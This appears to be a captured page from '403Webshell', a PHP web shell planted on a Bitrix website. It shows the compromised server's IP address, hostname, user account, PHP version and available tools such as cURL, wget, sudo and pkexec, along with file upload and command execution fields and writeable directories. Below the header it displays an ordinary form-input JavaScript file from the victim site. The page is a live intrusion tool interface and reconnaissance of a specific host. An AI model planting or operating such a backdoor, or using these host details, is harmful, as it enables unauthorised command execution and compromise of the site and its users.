403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/rest/form-constructor/src/fields/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/rest/form-constructor/src/fields/input.js
import { Dom, Tag, Event, Type } from 'main.core';
import { BaseEvent } from 'main.core.events';
import { BaseField } from './base-field';

export class Input extends BaseField
{
	renderFieldContainer(): HTMLElement
	{
		const wrapper = Tag.render`
			<div class="ui-ctl-container"/>
		`;

		if (this.options.label)
		{
			const inputTitle = Tag.render`
				<div class="ui-ctl-top">
					<div class="ui-ctl-title">${this.options.label}</div>
				</div>
			`;
			Dom.append(inputTitle, wrapper);
		}

		const input = Tag.render`
			<div class="ui-ctl ui-ctl-textbox">
				<input type="text" id="${this.getId()}" class="ui-ctl-element">
			</div>
		`;
		const inputElement = input.querySelector('input');

		if (this.options.placeholder)
		{
			Dom.attr(inputElement, {
				placeholder: this.options.placeholder,
			});
		}

		if (this.options.value)
		{
			Dom.attr(inputElement, {
				value: this.options.value,
			});
		}

		Event.bind(inputElement, 'paste', (event) => {
			setTimeout(() => {
				this.#onInput(wrapper, event);
			}, 0);
		});
		Event.bind(inputElement, 'input', (event) => {
			this.#onInput(wrapper, event);
		});

		Dom.append(input, wrapper);

		return wrapper;
	}

	#onInput(wrapper: HTMLElement, event: BaseEvent): void
	{
		Dom.hide(this.renderErrorsContainer());

		if (Dom.hasClass(wrapper, 'ui-ctl-warning'))
		{
			Dom.removeClass(wrapper, 'ui-ctl-warning');
		}

		if (Type.isNil(event.target.value) || event.target.value === '')
		{
			this.emit('onUnreadySave');
			this.readySave = false;
		}
		else
		{
			this.emit('onReadySave');
			this.readySave = true;
		}

		this.value = event.target.value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit